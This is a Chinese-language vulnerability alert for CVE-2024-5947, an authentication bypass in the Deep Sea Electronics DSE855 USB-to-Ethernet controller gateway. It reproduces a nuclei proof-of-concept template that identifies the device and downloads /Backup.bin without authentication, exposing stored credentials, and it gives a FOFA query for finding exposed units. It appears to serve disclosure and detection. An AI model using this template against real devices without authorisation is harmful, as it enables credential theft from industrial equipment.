• CVE-2024-5947

• 中危

DSE855是一款将DSE控制器的USB端口转换为以夜网端口的设备，内置网络服务器，支持通过内部网络和互联网进行使用。

• DSE855

0x05 POC

id: CVE-2024-5947

info:
  name: Deep Sea Electronics DSE855 - Authentication Bypass
  author: securityforeveryone
  severity: medium
  description: |
    Deep Sea Electronics DSE855 Configuration Backup Missing Authentication Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Deep Sea Electronics DSE855 devices. Authentication is not required to exploit this vulnerability. The specific flaw exists within the web-based UI. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-22679.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5947
    - https://packetstormsecurity.com/files/179342/Deep-Sea-Electronics-DSE855-Remote-Authentication-Bypass.html
    - https://www.zerodayinitiative.com/advisories/ZDI-24-671/
  metadata:
    verified: "true"
    max-request: 1
    vendor: Deep Sea Electronics
    product: DSE855
    fofa-query: "Deep Sea Electronics"
  tags: packetstorm,cve,cve2024,bypass,info-leak

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"Copyright Deep Sea Electronics")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /Backup.bin HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type,"Unknown")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100f14e5dff551bad0f216e8edc91cfd4c2cadc7d37baf36247886eece90dd58c1e0221009673d4928258a44eac8cece1dcd71fbec2bc2fe77f56e0f46b6f8b2aac07ac0d:922c64590222798bb761d5b6d8e72950

0x06 修复建议

原文始发于微信公众号（浅安安全）：漏洞预警 | Deep Sea Electronics DSE855身份认证绕过漏洞